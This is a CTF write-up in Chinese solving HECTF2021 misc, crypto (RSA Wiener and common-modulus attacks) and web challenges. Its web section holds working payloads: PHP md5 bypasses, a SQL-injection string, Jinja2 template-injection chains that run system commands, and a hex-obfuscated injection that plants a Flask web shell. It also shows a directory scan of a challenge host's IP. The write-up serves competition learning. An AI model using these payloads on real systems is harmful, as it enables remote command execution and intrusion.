[CTF]-HECTF2021部分复现


MISC


快来公众号ya

关注公众号回复即可


JamesHarden

拖到010 PK开头 修改拓展名.rar
解压文件拖进010发现变异flag

URPGS{Jr1p0zr_G0_U3pg6_!}

凯撒解密 位移13

HECTF{We1c0me_T0_H3ct6_!}

捉迷藏

打开.docx发现一串JSfuck

在这里插入图片描述

复制进入Firefox控制台进行解密

在这里插入图片描述

HECTF{dfdfj234kflfj3fadfdsv}

迷途的狗狗

在这里插入图片描述

解压.zip有密码,直接爆破

在这里插入图片描述

报错,提示版本号有问题
010修改版本信息

在这里插入图片描述

保存之后用win rar修复压缩包,之后再爆破

在这里插入图片描述

142345

解压得到一只小金毛

在这里插入图片描述

然后分离图片得到flag

在这里插入图片描述

HECTF{fdskx938fxfsafx}

snake

打开题目是.exe,猜测是反编译逆向

在这里插入图片描述

使用工具python-exe-unpacker-masterb逆向

 py .\pyinstxtractor.py .\snake.exe

在这里插入图片描述
在这里插入图片描述

生成新的文件夹 打开找到

struct 
snake

在这里插入图片描述

分别用010打开文件
struct的文件头复制到 snake的文件头

在这里插入图片描述

在这里插入图片描述

然后保存文件,设置后缀名为.pyc
uncompyle6进行下一步

pip install uncompyle6

然后配置环境变量

%python_home%\Scripts\

我的环境是

在这里插入图片描述

所以

在这里插入图片描述

配置好之后就可以直接用了

$ uncompyle6 --help
uncompyle6 .\snake.exe       //直接查看文件内容

uncompyle6 -o . .\snake.py .\snake.pyc     //把文件内容转到 .py文件中

在这里插入图片描述

#文件内容
# uncompyle6 version 3.7.4
# Python bytecode 3.7 (3394)
# Decompiled from: Python 3.8.5 (tags/v3.8.5:580fbb0, Jul 20 2020, 15:43:08) [MSC v.1926 32 bit (Intel)]
# Embedded file name: snake.py
# Compiled at: 1995-09-28 00:18:56
# Size of source mod 2**32: 272 bytes
import pygame, sys, random
SCREEN_X = 700
SCREEN_Y = 700

class Snake(object):

    def __init__(self):
        self.dirction = pygame.K_RIGHT
        self.body = []
        for x in range(5):
            self.addnode()

    def addnode(self):
        left, top = (0, 0)
        if self.body:
            left, top = self.body[0].left, self.body[0].top
        else:
            node = pygame.Rect(left, top, 20, 20)
            if self.dirction == pygame.K_LEFT:
                node.left -= 20
            else:
                if self.dirction == pygame.K_RIGHT:
                    node.left += 20
                else:
                    if self.dirction == pygame.K_UP:
                        node.top -= 20
                    else:
                        if self.dirction == pygame.K_DOWN:
                            node.top += 20
        self.body.insert(0, node)

    def delnode(self):
        self.body.pop()

    def isdead(self):
        if self.body[0].x not in range(SCREEN_X):
            return True
        if self.body[0].y not in range(SCREEN_Y):
            return True
        if self.body[0] in self.body[1:]:
            return True
        return False

    def move(self):
        self.addnode()
        self.delnode()

    def changedirection(self, curkey):
        LR = [
         pygame.K_LEFT, pygame.K_RIGHT]
        UD = [pygame.K_UP, pygame.K_DOWN]
        if curkey in LR + UD:
            if curkey in LR:
                if self.dirction in LR:
                    return
            if curkey in UD:
                if self.dirction in UD:
                    return
            self.dirction = curkey

class Food:

    def __init__(self):
        self.rect = pygame.Rect(-20, 0, 20, 20)

    def remove(self):
        self.rect.x = -20

    def set(self):
        if self.rect.x == -20:
            allpos = [
             (220, 620), (140, 580), (380, 280), (320, 260), (440, 500), (320, 100), (420, 240), (380, 260), (160, 280), (480, 460), (340, 260), (420, 580), (140, 460), (180, 380), (60, 160), (200, 100), (320, 620), (120, 540), (360, 480), (420, 460), (100, 40), (280, 100), (60, 60), (100, 480), (20, 60), (100, 80), (500, 320), (300, 500), (60, 320), (560, 220), (400, 100), (360, 20), (460, 380), (100, 400), (100, 500), (400, 60), (520, 320), (160, 60), (480, 440), (360, 600), (140, 540), (520, 220), (500, 220), (80, 60), (520, 280), (260, 60), (320, 320), (320, 240), (460, 280), (580, 20), (140, 80), (40, 240), (420, 420), (100, 440), (180, 60), (140, 420), (220, 400), (440, 300), (240, 380), (420, 480), (360, 260), (460, 320), (160, 100), (260, 80), (520, 40), (200, 260), (360, 580), (100, 380), (80, 620), (360, 620), (340, 440), (200, 60), (200, 300), (20, 500), (400, 20), (120, 620), (540, 220), (240, 420), (320, 200), (60, 300), (260, 320), (300, 580), (160, 480), (140, 200), (100, 420), (420, 20), (360, 500), (240, 500), (140, 620), (260, 620), (100, 100), (540, 60), (420, 380), (240, 400), (60, 180), (480, 380), (40, 500), (560, 320), (320, 280), (260, 280), (160, 540), (300, 440), (60, 200), (560, 280), (240, 260), (200, 280), (180, 500), (100, 20), (540, 20), (320, 300), (80, 600), (380, 200), (20, 40), (440, 580), (580, 60), (420, 400), (140, 60), (120, 440), (520, 20), (260, 40), (320, 220), (360, 560), (100, 460), (200, 20), (80, 520), (60, 500), (300, 600), (520, 60), (420, 260), (260, 260), (140, 100), (380, 240), (160, 300), (500, 260), (400, 540), (560, 60), (480, 400), (380, 320), (400, 80), (580, 500), (240, 480), (160, 600), (440, 380), (540, 280), (160, 620), (380, 20), (460, 440), (400, 620), (400, 40), (300, 480), (420, 560), (20, 20), (500, 280), (300, 100), (60, 280), (360, 200), (240, 460), (520, 100), (340, 200), (500, 300), (440, 20), (420, 300), (240, 620), (140, 20), (300, 20), (420, 280), (20, 80), (220, 500), (320, 20), (60, 260), (300, 460), (200, 320), (520, 80), (140, 40), (420, 440), (60, 220), (480, 480), (180, 20), (180, 100), (320, 440), (160, 580), (80, 560), (360, 460), (100, 60), (120, 580), (420, 320), (560, 20), (300, 620), (40, 60), (360, 440), (420, 500), (60, 240), (100, 240), (240, 440), (260, 300), (260, 500), (120, 260), (140, 320), (480, 500), (20, 100), (500, 240), (120, 560), (380, 300), (80, 580), (420, 600), (140, 260), (80, 140), (300, 560), (120, 200), (220, 260), (160, 400), (280, 20), (160, 20), (100, 220), (540, 500), (380, 220), (460, 500), (560, 500), (120, 320), (540, 320), (80, 340), (340, 620)]
            random.shuffle(allpos)
            self.rect.left, self.rect.top = random.choice(allpos)

def show_text(screen, pos, text, color, font_bold=False, font_size=30, font_italic=False):
    cur_font = pygame.font.SysFont('宋体', font_size)
    cur_font.set_bold(font_bold)
    cur_font.set_italic(font_italic)
    text_fmt = cur_font.render(text, 1, color)
    screen.blit(text_fmt, pos)

def main():
    pygame.init()
    screen_size = (SCREEN_X, SCREEN_Y)
    screen = pygame.display.set_mode(screen_size)
    pygame.display.set_caption('Welcome to HECTF,enjoy!')
    clock = pygame.time.Clock()
    scores = 0
    isdead = False
    snake = Snake()
    food = Food()
    while True:
        for event in pygame.event.get():
            if event.type == pygame.QUIT:
                sys.exit()
            if event.type == pygame.KEYDOWN:
                snake.changedirection(event.key)
                if event.key == pygame.K_SPACE and isdead:
                    return main()

        screen.fill((205, 205, 205))
        if not isdead:
            snake.move()
        for rect in snake.body:
            pygame.draw.rect(screen, (0, 220, 0), rect, 0)

        isdead = snake.isdead()
        if isdead:
            show_text(screen, (100, 200), 'You lose :(', (227, 29, 18), False, 100)
            show_text(screen, (150, 260), 'press SAPCE to try again...', (0, 0, 22), False, 30)
        if food.rect == snake.body[0]:
            scores += 100
            food.remove()
            snake.addnode()
        food.set()
        pygame.draw.rect(screen, (136, 0, 21), food.rect, 0)
        show_text(screen, (50, 600), 'Scores: ' + str(scores), (223, 0, 0))
        if scores > 400:
            show_text(screen, (100, 650), 'f', (223, 223, 0))
        if scores > 500:
            show_text(screen, (110, 650), 'l', (223, 223, 0))
        if scores > 600:
            show_text(screen, (120, 650), 'a', (223, 223, 0))
        if scores > 700:
            show_text(screen, (130, 650), 'g', (223, 223, 0))
        if scores > 800:
            show_text(screen, (150, 650), 'i', (223, 223, 0))
        if scores > 900:
            show_text(screen, (160, 650), 's', (223, 223, 0))
            show_text(screen, (450, 650), 'Try to get 6000 points', (223, 223, 223))
        if scores >= 6000:
            show_text(screen, (100, 670), 'wtf,you really got 6000 points?check the source code', (223,
                                                                                                   223,
                                                                                                   223))
            show_text(screen, (100, 470), 'the original author is codetask from', (223,
                                                                                   223,
                                                                                   223))
            show_text(screen, (100, 490), 'https://gitee.com/codetimer,thanks to him', (223,
                                                                                        223,
                                                                                        223))
        pygame.display.update()
        clock.tick(10)

if __name__ == '__main__':
    main()

在其中发现有坐标点
写脚本提取出代码点

f = open("123.txt","w")
key = [(220, 620), (140, 580), (380, 280), (320, 260), (440, 500), (320, 100), (420, 240), (380, 260), (160, 280), (480, 460), (340, 260), (420, 580), (140, 460), (180, 380), (60, 160), (200, 100), (320, 620), (120, 540), (360, 480), (420, 460), (100, 40), (280, 100), (60, 60), (100, 480), (20, 60), (100, 80), (500, 320), (300, 500), (60, 320), (560, 220), (400, 100), (360, 20), (460, 380), (100, 400), (100, 500), (400, 60), (520, 320), (160, 60), (480, 440), (360, 600), (140, 540), (520, 220), (500, 220), (80, 60), (520, 280), (260, 60), (320, 320), (320, 240), (460, 280), (580, 20), (140, 80), (40, 240), (420, 420), (100, 440), (180, 60), (140, 420), (220, 400), (440, 300), (240, 380), (420, 480), (360, 260), (460, 320), (160, 100), (260, 80), (520, 40), (200, 260), (360, 580), (100, 380), (80, 620), (360, 620), (340, 440), (200, 60), (200, 300), (20, 500), (400, 20), (120, 620), (540, 220), (240, 420), (320, 200), (60, 300), (260, 320), (300, 580), (160, 480), (140, 200), (100, 420), (420, 20), (360, 500), (240, 500), (140, 620), (260, 620), (100, 100), (540, 60), (420, 380), (240, 400), (60, 180), (480, 380), (40, 500), (560, 320), (320, 280), (260, 280), (160, 540), (300, 440), (60, 200), (560, 280), (240, 260), (200, 280), (180, 500), (100, 20), (540, 20), (320, 300), (80, 600), (380, 200), (20, 40), (440, 580), (580, 60), (420, 400), (140, 60), (120, 440), (520, 20), (260, 40), (320, 220), (360, 560), (100, 460), (200, 20), (80, 520), (60, 500), (300, 600), (520, 60), (420, 260), (260, 260), (140, 100), (380, 240), (160, 300), (500, 260), (400, 540), (560, 60), (480, 400), (380, 320), (400, 80), (580, 500), (240, 480), (160, 600), (440, 380), (540, 280), (160, 620), (380, 20), (460, 440), (400, 620), (400, 40), (300, 480), (420, 560), (20, 20), (500, 280), (300, 100), (60, 280), (360, 200), (240, 460), (520, 100), (340, 200), (500, 300), (440, 20), (420, 300), (240, 620), (140, 20), (300, 20), (420, 280), (20, 80), (220, 500), (320, 20), (60, 260), (300, 460), (200, 320), (520, 80), (140, 40), (420, 440), (60, 220), (480, 480), (180, 20), (180, 100), (320, 440), (160, 580), (80, 560), (360, 460), (100, 60), (120, 580), (420, 320), (560, 20), (300, 620), (40, 60), (360, 440), (420, 500), (60, 240), (100, 240), (240, 440), (260, 300), (260, 500), (120, 260), (140, 320), (480, 500), (20, 100), (500, 240), (120, 560), (380, 300), (80, 580), (420, 600), (140, 260), (80, 140), (300, 560), (120, 200), (220, 260), (160, 400), (280, 20), (160, 20), (100, 220), (540, 500), (380, 220), (460, 500), (560, 500), (120, 320), (540, 320), (80, 340), (340, 620)]
key = [str(i) for i in key]
key = '\n'.join(key)
key = key.replace("(","")
key = key.replace(")","")
f.write(key)

然后用 gunplot画图 把像素点显现出来

在这里插入图片描述

在这里插入图片描述

有点HECTF的样子,操作一下

在这里插入图片描述

HECTF{SnAkE_K1nG_is_u}

CRYPTO

签到

与佛论禅->base64->base32

HECTF{good_luck_for_you}

encode

题目没有后缀,用010打开发现是RAR文件,解压

在这里插入图片描述

解压下来是一串emoji密码
解密网站:

http://www.atoolbox.net/Tool.php?Id=937

📛💴💗📜💜💴📜💈👷📦💳💃📠👷👸📛💴💗📛💯💩📜💤💎📞💣💝📜💇💞🐱📀💦👣👯📀💰💽👺👣👬📁💃📙👷💵📁💃👛📀💰👦📙👷💵📀💖👣👨📙👷💵👣📁💄🐗🐱🐗👛💾💔📁👾👪🐗📁👾👪📀💇👣

在这里插入图片描述

解密发现是一串反转的文字

在这里插入图片描述

last step:wl_blf_orpv_vnlgrxlm

题目描述是《逾越节的阴谋》

在这里插入图片描述

埃特巴什码解密

https://wtool.com.cn/atbash.html

HECTF{do_you_like_emoticon}

RSA_e_n

参考:https://www.cnblogs.com/Web-Fresher/p/13553171.html

题目
e: 0x14b367bf01efd4dc667b8e62975479c612c96e78f7f1f55242b2973c882ddcb33a65c52174d8ae1273764ce429054ea3f2fdc38ff205443c92ef4198739f05aa11fc10d3fc6ff30c8f5f05a04f43e3d8fc9bfffe916b2e0360560a162729e91b7775bda70177e0f875626e0a81bd4eacea9948b02232a82659f8d9aa9b4c754f
n: 0x75be564267f8bf6c2038dd0cadfeecbc3158acfc27e679dd0bdb0db0e90bd5198a0a7edc0626f357a2d75f3c37ede045b7f7ca6bda79e5bf6fc0aea0aa7beda587388599d2b77b538fc3e666784493ffaf731e2ae232e8e9e9f9f2a4df25c19b7680f5bf6c485bd87923f01c17d8ec35438772c28e361774e6e7681d67ecbe19
c: 10127659956533419108589656976567211166527205183773088147543122705230809548550336271584049969380709512046523116316965506372940655242616078713681678662841367955124154879878984026023241163358487655249424233120021240245459984899558747887087199609289148343740081670749999484769650710161617077523656215330005636913

首先en都是16进制 先转成10进制

e = 14536597368909701101001200256941961974837464809061658640289510091042380365818199702046209637846878321051911953478636962155851364745688577015502765094911097840408612024930234182134155906105709515732525224859491213269420883975325253955300495659738062649536403673292528916221126321551642240248228081199068509519
n = 82682300117674279215080455101416910344254761284016535674428084455559823911633545375294290471927265348290309866584853573250651405746950773694162544557054279975976137565971186070553416802999462943357087592313263254619766769163485073959894470761998013410473974312262048785789689412772924269917002276633928580633

可以看到e很大,可以确定是维纳攻击

维纳攻击库

https://github.com/pablocelayes/rsa-wiener-attack

在这里插入图片描述

要把库手动装到自己的目录
然后脚本

from RSAwienerHacker import hack_RSA
import libnum
e = 14536597368909701101001200256941961974837464809061658640289510091042380365818199702046209637846878321051911953478636962155851364745688577015502765094911097840408612024930234182134155906105709515732525224859491213269420883975325253955300495659738062649536403673292528916221126321551642240248228081199068509519
n = 82682300117674279215080455101416910344254761284016535674428084455559823911633545375294290471927265348290309866584853573250651405746950773694162544557054279975976137565971186070553416802999462943357087592313263254619766769163485073959894470761998013410473974312262048785789689412772924269917002276633928580633
d=hack_RSA(e,n)
c = 10127659956533419108589656976567211166527205183773088147543122705230809548550336271584049969380709512046523116316965506372940655242616078713681678662841367955124154879878984026023241163358487655249424233120021240245459984899558747887087199609289148343740081670749999484769650710161617077523656215330005636913
m=pow(c ,d ,n)
print (libnum.n2s(m))

在这里插入图片描述


re_rsa

python反编译逆向
工具:pyinstxtractor-master

python .\pyinstxtractor.py .\re_rsa.exe

在这里插入图片描述

运行完生成一个文件夹,打开找到 struct123456

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

struct (必生成)
123456 (根据文件生成)

010 或者 winhex分别打开 这两个文件

在这里插入图片描述
在这里插入图片描述

struct的文件头复制到123456的文件头上
保存为.pyc 退出

然后用uncompyle6进行下一步

$ uncompyle6 [opion] <file>

$ uncompyle6.exe D:\NB\ti\2021HECTF\2021HECTF\CRYPTO\re_rsa\123456.pyc

在这里插入图片描述

也可以生成一个.py文件

uncompyle6.exe -o D:\NB\ti\2021HECTF\2021HECTF\CRYPTO\re_rsa\123456.py D:\NB\ti\2021HECTF\2021HECTF\CRYPTO\re_rsa\123456.pyc

在这里插入图片描述

在这里插入图片描述

会生成一个.py文件 打开是同样的内容

# uncompyle6 version 3.7.4
# Python bytecode 3.8 (3413)
# Decompiled from: Python 3.8.5 (tags/v3.8.5:580fbb0, Jul 20 2020, 15:43:08) [MSC v.1926 32 bit (Intel)]
# Embedded file name: 123456.py
# Compiled at: 1995-09-28 00:18:56
# Size of source mod 2**32: 272 bytes
import math
print('please input you flag:')
s = input()
e1 = 65537
e2 = 72613
n = 95525425639268618904242122073026771652646935213019341295993735437526311434723595304323184458026403667135481765527601691276167501123468272392153875706450309539988975293150023714062357483846051629494980532347703161226570915424953846206752605423302029528621365549138045079620953801043515344814417917150911967549
c1 = 50016380988825140771789180404368584321245554683013673243046447860755867497534086012885574115002127671925300478433415755560263795098483437759149032753639933337607469174389736337484921429167989878010333069673315284150101512841433875596818188946001404448747955836101233969447148134936974685144748020721536655880
c2 = 26537341777006051577926179760889007551446534081220228677053318628104352649245453831819534150578124853240201955246509156538727940288191114859714195834458609907788583932554762063942375909339356517120487495715517451310527953747976853825698190357350112353821036342918427063247243961171993690840366127227039390141
h = ''
for i in range(len(s)):
    x = hex(ord(s[i]))[2:]
    if len(x) < 2:
        x = '0' + x
    h = h + x
else:
    m = int(h, 16)
    if pow(m, e1, n) == c1 and pow(m, e2, n) == c2:
        print('Successful!')
    else:
        print('Wrong flag!')

有两个公钥 e1 e2
有两个密文c1 c2
而只有一个模数 n
共摸攻击
上脚本

from gmpy2 import invert
import binascii
import os
from Crypto.Util.number import bytes_to_long, long_to_bytes

def gongmogongji(n, c1, c2, e1, e2):
    def egcd(a, b):
        if b == 0:
            return a, 0
        else:
            x, y = egcd(b, a % b)
            return y, x - (a // b) * y
    s = egcd(e1, e2)
    s1 = s[0]
    s2 = s[1]

    # 求模反元素
    if s1 < 0:
        s1 = - s1
        c1 = invert(c1, n)
    elif s2 < 0:
        s2 = - s2
        c2 = invert(c2, n)
    m = pow(c1, s1, n) * pow(c2, s2, n) % n
    return m

n = 95525425639268618904242122073026771652646935213019341295993735437526311434723595304323184458026403667135481765527601691276167501123468272392153875706450309539988975293150023714062357483846051629494980532347703161226570915424953846206752605423302029528621365549138045079620953801043515344814417917150911967549
e1 = 65537
e2 = 72613
c1 = 50016380988825140771789180404368584321245554683013673243046447860755867497534086012885574115002127671925300478433415755560263795098483437759149032753639933337607469174389736337484921429167989878010333069673315284150101512841433875596818188946001404448747955836101233969447148134936974685144748020721536655880
c2 = 26537341777006051577926179760889007551446534081220228677053318628104352649245453831819534150578124853240201955246509156538727940288191114859714195834458609907788583932554762063942375909339356517120487495715517451310527953747976853825698190357350112353821036342918427063247243961171993690840366127227039390141

result = gongmogongji(n, c1, c2, e1, e2)
# print (hex(result))
print (str(binascii.unhexlify((hex(result))[2:]),encoding='utf-8'))

输出

在这里插入图片描述


LittleRSA

import random
import hashlib
import string
import sympy
import gmpy2
from Crypto.Util.number import *

se = random.randint(1,1000)
random.seed(se)

STR = list(string.ascii_letters+string.digits)
proof = ''.join([STR[random.randint(1, 62)-1] for _ in range(20)])
digest = hashlib.sha256(proof.encode()).hexdigest()

print(proof[4:])
print(digest)

e = sympy.nextprime(int(bytes(proof[:4],'utf-8').hex(),16))
p = sympy.nextprime(random.randint(pow(2,1023),pow(2,1024)))
q = sympy.nextprime(random.randint(pow(2,1023),pow(2,1024)))
flag = b'HECTF{XXXXXXXXXXXXXXX}'
m = bytes_to_long(flag)
n = p*q
c = pow(m,e,n)
print(c)
'''
NYAdQidL59lHklvI
1c92e2001540854eb03a06aa37b7bdc76b41a42d315c6dafb02bb339de9a3f25
12424425564383219080490551209643464847620938168930079127681706857658268732506553762185733232174616369346638607986790966147165572856020333466266950817761290120789562282899235194115801039977159247279287016533562522176851376987246778559325369725945217698449887185588509259585902043152698222880550864805704835462119046093822533459389519887750590547895454677651757127860660687183857783014508127001807318860919181678041597391665738436983340807978924856116264434249926664228272176813107767851582594893815624629540970573254201006817388643737600565142486019783712277126799182049309476758941334813964777650021632346392783087599
'''

首先 p , q 都是随机产生的,random.seed就是产生的种子,se会匹配[0:1000]之间的随机数
写一个脚本列出所有的随机数 以及 proof

//随机数组
import random
import hashlib
import string
import sympy
import gmpy2
from Crypto.Util.number import *
f = open("1.txt",'w')
for se in range(0,1000):
    random.seed(se)
    f.write(str(se)+ '\n')
    STR = list(string.ascii_letters+string.digits)
    proof = ''.join([STR[random.randint(1, 62)-1] for _ in range(20)])
    f.write(proof + '\n')
    digest = hashlib.sha256(proof.encode()).hexdigest()

跑出来会生成一个 1.txt

打开搜索

NYAdQidL59lHklvI

在这里插入图片描述

发现是第571
然后修改源码

#exp0
import random
import hashlib
import string
import sympy
import gmpy2
from Crypto.Util.number import *

random.seed(571)

STR = list(string.ascii_letters+string.digits)
proof = ''.join([STR[random.randint(1, 62)-1] for _ in range(20)])
digest = hashlib.sha256(proof.encode()).hexdigest()

print(proof[4:])
print(digest)

e = sympy.nextprime(int(bytes(proof[:4],'utf-8').hex(),16))
p = sympy.nextprime(random.randint(pow(2,1023),pow(2,1024)))
q = sympy.nextprime(random.randint(pow(2,1023),pow(2,1024)))
flag = b'HECTF{XXXXXXXXXXXXXXX}'
m = bytes_to_long(flag)
n = p*q
c = pow(m,e,n)
print('e=',e)
print('p=',p)
print('q=',q)
'''
NYAdQidL59lHklvI
1c92e2001540854eb03a06aa37b7bdc76b41a42d315c6dafb02bb339de9a3f25
12424425564383219080490551209643464847620938168930079127681706857658268732506553762185733232174616369346638607986790966147165572856020333466266950817761290120789562282899235194115801039977159247279287016533562522176851376987246778559325369725945217698449887185588509259585902043152698222880550864805704835462119046093822533459389519887750590547895454677651757127860660687183857783014508127001807318860919181678041597391665738436983340807978924856116264434249926664228272176813107767851582594893815624629540970573254201006817388643737600565142486019783712277126799182049309476758941334813964777650021632346392783087599
'''

'''
输出:
NYAdQidL59lHklvI
1c92e2001540854eb03a06aa37b7bdc76b41a42d315c6dafb02bb339de9a3f25
e=1785803627
p=145761905930263138706936874952287989451163740801768124316638194142053136728482823176175006571074964544663304793459554206652959217189535730286200684386647465283995296122915022195050319604559741051002366944416141348676197874185262201649841435463619858083016023221897609700155299995358787406738947679758978398079
q=91536557984668704700241147674513341431163262522271166024774731241046009089878244315861936297361116478818372387622618452092967843503795947991656539912625954357511406372314568099344007331186921707503763242814545509139824084213975728811966334411984509916811665096919194290285039049454829579869446244711563361247
'''

现在得到了正确的 e p q
已知 c e p q

c = 12424425564383219080490551209643464847620938168930079127681706857658268732506553762185733232174616369346638607986790966147165572856020333466266950817761290120789562282899235194115801039977159247279287016533562522176851376987246778559325369725945217698449887185588509259585902043152698222880550864805704835462119046093822533459389519887750590547895454677651757127860660687183857783014508127001807318860919181678041597391665738436983340807978924856116264434249926664228272176813107767851582594893815624629540970573254201006817388643737600565142486019783712277126799182049309476758941334813964777650021632346392783087599
e = 1785803627
p = 145761905930263138706936874952287989451163740801768124316638194142053136728482823176175006571074964544663304793459554206652959217189535730286200684386647465283995296122915022195050319604559741051002366944416141348676197874185262201649841435463619858083016023221897609700155299995358787406738947679758978398079
q = 91536557984668704700241147674513341431163262522271166024774731241046009089878244315861936297361116478818372387622618452092967843503795947991656539912625954357511406372314568099344007331186921707503763242814545509139824084213975728811966334411984509916811665096919194290285039049454829579869446244711563361247

n = p * q
d = gmpy2.invert(e, (p - 1) * (q - 1))

exp:

import libnum
import gmpy2
import binascii
import sympy
import random
from Crypto.Util.number import bytes_to_long
import libnum
from Crypto.Util.number import long_to_bytes

random.seed(571)

c = 12424425564383219080490551209643464847620938168930079127681706857658268732506553762185733232174616369346638607986790966147165572856020333466266950817761290120789562282899235194115801039977159247279287016533562522176851376987246778559325369725945217698449887185588509259585902043152698222880550864805704835462119046093822533459389519887750590547895454677651757127860660687183857783014508127001807318860919181678041597391665738436983340807978924856116264434249926664228272176813107767851582594893815624629540970573254201006817388643737600565142486019783712277126799182049309476758941334813964777650021632346392783087599
# n = int("",16)
e = 1785803627
# e = int("",16)
p = 145761905930263138706936874952287989451163740801768124316638194142053136728482823176175006571074964544663304793459554206652959217189535730286200684386647465283995296122915022195050319604559741051002366944416141348676197874185262201649841435463619858083016023221897609700155299995358787406738947679758978398079
q = 91536557984668704700241147674513341431163262522271166024774731241046009089878244315861936297361116478818372387622618452092967843503795947991656539912625954357511406372314568099344007331186921707503763242814545509139824084213975728811966334411984509916811665096919194290285039049454829579869446244711563361247
print(p)
print(q)
n = p * q
flag = b''
d = gmpy2.invert(e, (p - 1) * (q - 1))
m = pow(c, d, n)  # m 的十进制形式
print (m)
flag += long_to_bytes(m)  # m明文
print(flag)

#b'HECTF{yujnbg4rdsw3xdfvrfgyrtgvcd}'

Web

mmmmd5d5d5d5

进入查看源码发现

<!--
$a = $GET['a'];
$b = $_GET['b'];
$a != $b && md5($a) == md5($b)
-->

构造

?a[]=1&b[]=2

成功绕过 进入/md51.php
md5值截断验证

在这里插入图片描述

上py脚本跑一下

#coding='utf-8'
import hashlib
from multiprocessing.dummy import Pool as ThreadPool

# MD5截断数值已知 求原始数据
# 例子 substr(md5(captcha), 0, 6)=60b7ef

def md5(s):  # 计算MD5字符串
    return hashlib.md5(str(s).encode('utf-8')).hexdigest()

keymd5 = 'e3a9b'   #已知的md5截断值
md5start = 5   # 设置题目已知的截断位置
md5length = 5

def findmd5(sss):    # 输入范围 里面会进行md5测试
    key = sss.split(':')
    start = int(key[0])   # 开始位置
    end = int(key[1])    # 结束位置
    result = 0
    for i in range(start, end):
        # print(md5(i)[md5start:md5length])
        if md5(i)[0:5] == keymd5:            # 拿到加密字符串
            result = i
            print(result)    # 打印
            break

list=[]  # 参数列表
for i in range(10):   # 多线程的数字列表 开始与结尾
    list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = ThreadPool()    # 多线程任务
pool.map(findmd5, list) # 函数 与参数列表
pool.close()
pool.join()

结果出来后粘贴上即可通过
通过后进入/md52.php
查看源码是个sql语句

在这里插入图片描述

然后要去md5之后要形成闭合

'ffifdyop'→md5:276f722736c95d99e921722cf9ed621c→" 'or' "

payload

ffifdyop

进入/md53.php

<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

要求param1param2值不等,md5后的值相等
构造

param1[]=1&param2[]=2

在这里插入图片描述


EDGnb(签到)

题目

docker run -it moth404/edgnb

进入容器后发现几乎每个目录都有个空的flag文件
啥也不是
网上搜docker骚操作,结果在dockerhub上找到,不得不说还能这样解题是想不到的

在这里插入图片描述

在这里插入图片描述

正常解:
输入指令进入docker容器
不得不说开头的小火车真的很炫酷
还有pages下面的牛牛是ctfshow的大牛吗

在这里插入图片描述

输入指令查看容器的构建记录

docker history moth404/edgnb --no-trunc=true

在这里插入图片描述


时光塔的宝藏

(=非预期=)
第一天跑了半天sqlmap啥也不是,结果第二天题目环境直接炸了(还是动态容器稳定)

打开题目是登录框

在这里插入图片描述

使用dirsearch扫描一下

py .\dirsearch.py -u "http://81.70.102.209:10020/"

在这里插入图片描述
发现./flag.php
进入目录

在这里插入图片描述


ez_py

https://ego00.blog.csdn.net/article/details/115272645

题目是登录框
源码中看到提示

/welhectf 

进入目录要输入name参数

在这里插入图片描述

?name=Muz1

发现黑名单

在这里插入图片描述

构造payload

http://81.70.102.209:10030/welhectf?name=

{% set xiahuaxian=(lipsum|string|list)|attr('pop')(18) %}
{% set gb=(xiahuaxian,xiahuaxian,dict(glo=a,bals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set ca=dict(ca=a,t=a)|join%}
{% set bin=(xiahuaxian,xiahuaxian,dict(built=a,ins=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set chcr=(lipsum|attr(gb))|attr('get')(bin)|attr('get')('chr') %}
{% set dian=chcr(46)%} 
{% set shell=(ca, ' ',dict(f1ag=a)|join,dian,dict(txt=a)|join)|join %}
{%print(lipsum|attr(gb)|attr('get')('os')|attr('popen')(shell)|attr('read')())%}

或者

还有就是,{{也不可用,
参考:

https://xz.aliyun.com/t/9008

写入shell

/welhectf?name={% if 1==lipsum['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['exec']('\x66\x72\x6f\x6d\x20\x66\x6c\x61\x73\x6b\x20\x69\x6d\x70\x6f\x72\x74\x20\x63\x75\x72\x72\x65\x6e\x74\x5f\x61\x70\x70\x0a\x0a\x40\x63\x75\x72\x72\x65\x6e\x74\x5f\x61\x70\x70\x2e\x72\x6f\x75\x74\x65\x28\x27\x2f\x73\x68\x65\x6c\x6c\x27\x2c\x6d\x65\x74\x68\x6f\x64\x73\x3d\x5b\x27\x47\x45\x54\x27\x2c\x27\x50\x4f\x53\x54\x27\x5d\x29\x0a\x64\x65\x66\x20\x73\x68\x65\x6c\x6c\x28\x29\x3a\x0a\x20\x20\x20\x20\x69\x6d\x70\x6f\x72\x74\x20\x6f\x73\x0a\x20\x20\x20\x20\x66\x72\x6f\x6d\x20\x66\x6c\x61\x73\x6b\x20\x69\x6d\x70\x6f\x72\x74\x20\x72\x65\x71\x75\x65\x73\x74\x0a\x20\x20\x20\x20\x63\x6d\x64\x3d\x72\x65\x71\x75\x65\x73\x74\x2e\x61\x72\x67\x73\x2e\x67\x65\x74\x28\x27\x63\x6d\x64\x27\x29\x0a\x20\x20\x20\x20\x72\x74\x3d\x6f\x73\x2e\x70\x6f\x70\x65\x6e\x28\x63\x6d\x64\x29\x2e\x72\x65\x61\x64\x28\x29\x0a\x20\x20\x20\x20\x72\x65\x74\x75\x72\x6e\x20\x72\x74') %}{% endif%}

其中的16进制编码了原始代码
from flask import current_app
@current_app.route('/shell',methods=['GET','POST'])
def shell():
    import os
    from flask import request
    cmd=request.args.get('cmd')
    rt=os.popen(cmd).read()
    return rt

上传之后执行shell

/shell?cmd=cat flag.txt

在这里插入图片描述


LFI_RCE

https://www.freebuf.com/vuls/202819.html
https://blog.csdn.net/xiaolong22333/article/details/111184583

知识点
利用session.upload_progress进行文件包含
条件竞争

利用 Session Upload Progress 上传 Session
php中的session.upload_progress
这个功能在php5.4添加的,所以测试的小伙伴,注意下版本哦。
php.ini有以下几个默认选项

1. session.upload_progress.enabled = on
2. session.upload_progress.cleanup = on
3. session.upload_progress.prefix = "upload_progress_"
4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
5. session.upload_progress.freq = "1%"
6. session.upload_progress.min_freq = "1"

